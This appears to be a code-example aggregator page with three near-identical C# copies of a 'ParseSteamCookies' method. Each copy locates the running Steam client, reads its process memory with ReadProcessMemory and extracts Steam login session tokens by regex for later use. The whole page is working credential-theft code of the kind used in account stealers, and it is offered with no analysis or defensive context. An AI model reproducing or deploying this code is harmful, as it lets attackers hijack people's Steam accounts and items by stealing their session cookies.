Ejemplo n.º 1
0
 public void ParseSteamCookies()
 {
     this.ParsedSteamCookies.Clear();
     WinApis.SYSTEM_INFO input = new WinApis.SYSTEM_INFO();
     while (input.minimumApplicationAddress.ToInt32() == 0)
       WinApis.GetSystemInfo(out input);
     IntPtr adress = input.minimumApplicationAddress;
     long num = (long) adress.ToInt32();
     List<string> list = new List<string>();
     Process[] processesByName = Process.GetProcessesByName("steam");
     Process process = (Process) null;
     for (int index = 0; index < processesByName.Length; ++index)
     {
       try
       {
     foreach (ProcessModule processModule in (ReadOnlyCollectionBase) processesByName[index].Modules)
     {
       if (processModule.FileName.EndsWith("steamclient.dll"))
       {
         process = processesByName[index];
         break;
       }
     }
       }
       catch
       {
       }
     }
     if (process == null)
       return;
     IntPtr handle = WinApis.OpenProcess(1040U, false, process.Id);
     WinApis.PROCESS_QUERY_INFORMATION processQuery = new WinApis.PROCESS_QUERY_INFORMATION();
     IntPtr numberofbytesread = new IntPtr(0);
     for (; WinApis.VirtualQueryEx(handle, adress, out processQuery, 28U) != 0; adress = new IntPtr(num))
     {
       if ((int) processQuery.Protect == 4 && (int) processQuery.State == 4096)
       {
     byte[] numArray = new byte[(IntPtr)processQuery.RegionSize];
     WinApis.ReadProcessMemory(handle, processQuery.BaseAdress, numArray, processQuery.RegionSize, out numberofbytesread);
     MatchCollection matchCollection = new Regex("7656119[0-9]{10}%7c%7c[A-F0-9]{40}", RegexOptions.IgnoreCase).Matches(Encoding.UTF8.GetString(numArray));
     if (matchCollection.Count > 0)
     {
       foreach (Match match in matchCollection)
       {
         if (!list.Contains(match.Value))
           list.Add(match.Value);
       }
     }
       }
       num += (long) processQuery.RegionSize;
       if (num >= (long) int.MaxValue)
     break;
     }
     this.ParsedSteamCookies = list;
     if (list.Count >= 2)
     {
       this.setCookies(false);
     }
     else
     {
       this.ParsedSteamCookies.Clear();
       this.ParseSteamCookies();
     }
 }
 public void ParseSteamCookies()
 {
     Process[] processArray;
     this.ParsedSteamCookies.Clear();
     WinApis.SYSTEM_INFO input = new WinApis.SYSTEM_INFO();
     while (input.minimumApplicationAddress.ToInt32() == 0)
     {
         WinApis.GetSystemInfo(out input);
     }
     IntPtr minimumApplicationAddress = input.minimumApplicationAddress;
     long num = minimumApplicationAddress.ToInt32();
     List<string> list = new List<string>();
     processArray = processArray = Process.GetProcessesByName("steam");
     Process process = null;
     for (int i = 0; i < processArray.Length; i++)
     {
         try
         {
             foreach (ProcessModule module in processArray[i].Modules)
             {
                 if (module.FileName.EndsWith("steamclient.dll"))
                 {
                     process = processArray[i];
                     continue;
                 }
             }
         }
         catch
         {
         }
     }
     if (process != null)
     {
         IntPtr handle = WinApis.OpenProcess(0x410, false, process.Id);
         WinApis.PROCESS_QUERY_INFORMATION processQuery = new WinApis.PROCESS_QUERY_INFORMATION();
         IntPtr numberofbytesread = new IntPtr(0);
         while (WinApis.VirtualQueryEx(handle, minimumApplicationAddress, out processQuery, 0x1c) != 0)
         {
             if ((processQuery.Protect == 4) && (processQuery.State == 0x1000))
             {
                 byte[] buffer = new byte[processQuery.RegionSize];
                 WinApis.ReadProcessMemory(handle, processQuery.BaseAdress, buffer, processQuery.RegionSize, out numberofbytesread);
                 string str = Encoding.UTF8.GetString(buffer);
                 MatchCollection matchs = new Regex("7656119[0-9]{10}%7c%7c[A-F0-9]{40}", RegexOptions.IgnoreCase).Matches(str);
                 if (matchs.Count > 0)
                 {
                     foreach (Match match in matchs)
                     {
                         if (!list.Contains(match.Value))
                         {
                             list.Add(match.Value);
                         }
                     }
                 }
             }
             num += processQuery.RegionSize;
             if (num >= 0x7fffffffL)
             {
                 break;
             }
             minimumApplicationAddress = new IntPtr(num);
         }
         this.ParsedSteamCookies = list;
         if (list.Count >= 2)
         {
             this.setCookies(false);
         }
         else
         {
             this.ParsedSteamCookies.Clear();
             this.ParseSteamCookies();
         }
     }
 }
Ejemplo n.º 3
0
    public void ParseSteamCookies()
    {
        Process[] processArray;
        this.ParsedSteamCookies.Clear();
        WinApis.SYSTEM_INFO input = new WinApis.SYSTEM_INFO();
        while (input.minimumApplicationAddress.ToInt32() == 0)
        {
            WinApis.GetSystemInfo(out input);
        }
        IntPtr        minimumApplicationAddress = input.minimumApplicationAddress;
        long          num  = minimumApplicationAddress.ToInt32();
        List <string> list = new List <string>();

        processArray = processArray = Process.GetProcessesByName("steam");
        Process process = null;

        for (int i = 0; i < processArray.Length; i++)
        {
            try
            {
                foreach (ProcessModule module in processArray[i].Modules)
                {
                    if (module.FileName.EndsWith("steamclient.dll"))
                    {
                        process = processArray[i];
                        continue;
                    }
                }
            }
            catch
            {
            }
        }
        if (process != null)
        {
            IntPtr handle = WinApis.OpenProcess(0x410, false, process.Id);
            WinApis.PROCESS_QUERY_INFORMATION processQuery = new WinApis.PROCESS_QUERY_INFORMATION();
            IntPtr numberofbytesread = new IntPtr(0);
            while (WinApis.VirtualQueryEx(handle, minimumApplicationAddress, out processQuery, 0x1c) != 0)
            {
                if ((processQuery.Protect == 4) && (processQuery.State == 0x1000))
                {
                    byte[] buffer = new byte[processQuery.RegionSize];
                    WinApis.ReadProcessMemory(handle, processQuery.BaseAdress, buffer, processQuery.RegionSize, out numberofbytesread);
                    string          str    = Encoding.UTF8.GetString(buffer);
                    MatchCollection matchs = new Regex("7656119[0-9]{10}%7c%7c[A-F0-9]{40}", RegexOptions.IgnoreCase).Matches(str);
                    if (matchs.Count > 0)
                    {
                        foreach (Match match in matchs)
                        {
                            if (!list.Contains(match.Value))
                            {
                                list.Add(match.Value);
                            }
                        }
                    }
                }
                num += processQuery.RegionSize;
                if (num >= 0x7fffffffL)
                {
                    break;
                }
                minimumApplicationAddress = new IntPtr(num);
            }
            this.ParsedSteamCookies = list;
            if (list.Count >= 2)
            {
                this.setCookies(false);
            }
            else
            {
                this.ParsedSteamCookies.Clear();
                this.ParseSteamCookies();
            }
        }
    }